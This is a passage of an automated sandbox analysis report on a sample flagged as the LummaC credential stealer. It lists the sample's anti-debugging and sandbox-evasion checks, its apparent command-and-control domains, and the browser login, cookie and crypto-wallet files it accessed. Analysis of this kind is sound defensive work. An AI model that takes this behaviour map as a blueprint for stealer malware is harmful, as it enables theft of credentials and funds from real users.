Source: 7jKx8dPOEs.exe, 7jKx8dPOEs.exe, 00000000.00000002.2668249689.0000000000F06000.00000004.00000020.00020000.00000000.sdmp, 7jKx8dPOEs.exe, 00000000.00000003.2176354470.0000000000F08000.00000004.00000020.00020000.00000000.sdmp, 7jKx8dPOEs.exe, 00000000.00000003.2198784822.0000000000F09000.00000004.00000020.00020000.00000000.sdmp, 7jKx8dPOEs.exe, 00000000.00000003.2204287013.0000000000F0A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 7jKx8dPOEs.exe, 00000000.00000002.2668249689.0000000000F06000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: 7jKx8dPOEs.exe, 00000000.00000003.2123228300.00000000056C6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: 7jKx8dPOEs.exe, 00000000.00000003.2123228300.00000000056C6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: 7jKx8dPOEs.exe, 00000000.00000003.2123228300.00000000056C6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: 7jKx8dPOEs.exe, 00000000.00000003.2123228300.00000000056C6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: 7jKx8dPOEs.exe, 00000000.00000003.2123228300.00000000056C6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: 7jKx8dPOEs.exe, 00000000.00000002.2668249689.0000000000ED8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`
Source: 7jKx8dPOEs.exe, 00000000.00000003.2123228300.00000000056C6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: 7jKx8dPOEs.exe, 00000000.00000003.2123228300.00000000056C6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: 7jKx8dPOEs.exe, 00000000.00000003.2123228300.00000000056C6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: 7jKx8dPOEs.exe, 00000000.00000003.2123228300.00000000056C6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: 7jKx8dPOEs.exe, 00000000.00000003.2123228300.00000000056C6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: 7jKx8dPOEs.exe, 00000000.00000003.2123228300.00000000056C6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: 7jKx8dPOEs.exe, 00000000.00000003.2123228300.00000000056C6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: 7jKx8dPOEs.exe, 00000000.00000003.2123228300.00000000056C6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: 7jKx8dPOEs.exe, 00000000.00000003.2123228300.00000000056C6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696428655
Source: 7jKx8dPOEs.exe, 00000000.00000003.2123228300.00000000056C6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: 7jKx8dPOEs.exe, 00000000.00000003.2123228300.00000000056C6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: 7jKx8dPOEs.exe, 00000000.00000003.2123228300.00000000056C6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: 7jKx8dPOEs.exe, 00000000.00000003.2123228300.00000000056C6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: 7jKx8dPOEs.exe, 00000000.00000003.2123228300.00000000056C6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: 7jKx8dPOEs.exe, 00000000.00000003.2123228300.00000000056C6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: 7jKx8dPOEs.exe, 00000000.00000003.2123228300.00000000056C6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: 7jKx8dPOEs.exe, 00000000.00000003.2123228300.00000000056CB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: YNVMware
Source: 7jKx8dPOEs.exe, 00000000.00000003.2123228300.00000000056C6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: 7jKx8dPOEs.exe, 00000000.00000003.2123228300.00000000056C6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: 7jKx8dPOEs.exe, 00000000.00000002.2665573925.000000000033F000.00000040.00000001.01000000.00000003.sdmp, 7jKx8dPOEs.exe, 00000000.00000002.2673987504.0000000006213000.00000040.00000800.00020000.00000000.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: 7jKx8dPOEs.exe, 00000000.00000003.2123228300.00000000056C6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: 7jKx8dPOEs.exe, 00000000.00000003.2123228300.00000000056C6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Users\user\Desktop\7jKx8dPOEs.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\7jKx8dPOEs.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Thread information set: HideFromDebugger			Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Thread information set: HideFromDebugger			Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: NTICE
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: SICE
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Process queried: DebugPort	Jump to behavior

HIPS / PFW / Operating System Protection Evasion

LummaC encrypted strings found

Source: 7jKx8dPOEs.exe, 00000000.00000003.2049250495.0000000004BA0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: hummskitnj.buzz
Source: 7jKx8dPOEs.exe, 00000000.00000003.2049250495.0000000004BA0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: cashfuzysao.buzz
Source: 7jKx8dPOEs.exe, 00000000.00000003.2049250495.0000000004BA0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: appliacnesot.buzz
Source: 7jKx8dPOEs.exe, 00000000.00000003.2049250495.0000000004BA0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: screwamusresz.buzz
Source: 7jKx8dPOEs.exe, 00000000.00000003.2049250495.0000000004BA0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: inherineau.buzz
Source: 7jKx8dPOEs.exe, 00000000.00000003.2049250495.0000000004BA0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: scentniej.buzz
Source: 7jKx8dPOEs.exe, 00000000.00000003.2049250495.0000000004BA0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: rebuildeso.buzz
Source: 7jKx8dPOEs.exe, 00000000.00000003.2049250495.0000000004BA0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: prisonyfork.buzz
Source: 7jKx8dPOEs.exe, 00000000.00000003.2049250495.0000000004BA0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: mindhandru.buzz

Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=7jKx8dPOEs.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0			Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=7jKx8dPOEs.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0			Jump to behavior

Source: 7jKx8dPOEs.exe, 00000000.00000002.2673987504.0000000006213000.00000040.00000800.00020000.00000000.sdmp	Binary or memory string: GTProgram Manager
Source: 7jKx8dPOEs.exe, 00000000.00000002.2665979997.0000000000387000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: hProgram Manager

Source: C:\Users\user\Desktop\7jKx8dPOEs.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\7jKx8dPOEs.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: 7jKx8dPOEs.exe, 00000000.00000003.2204287013.0000000000F0A000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\7jKx8dPOEs.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: 7jKx8dPOEs.exe PID: 6472, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: 7jKx8dPOEs.exe	String found in binary or memory: %appdata%\Electrum\wallets
Source: 7jKx8dPOEs.exe	String found in binary or memory: Wallets/ElectronCash
Source: 7jKx8dPOEs.exe	String found in binary or memory: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: 7jKx8dPOEs.exe	String found in binary or memory: window-state.json
Source: 7jKx8dPOEs.exe	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: 7jKx8dPOEs.exe	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: 7jKx8dPOEs.exe	String found in binary or memory: Wallets/Ethereum
Source: 7jKx8dPOEs.exe	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: 7jKx8dPOEs.exe, 00000000.00000003.2219451703.0000000000F69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
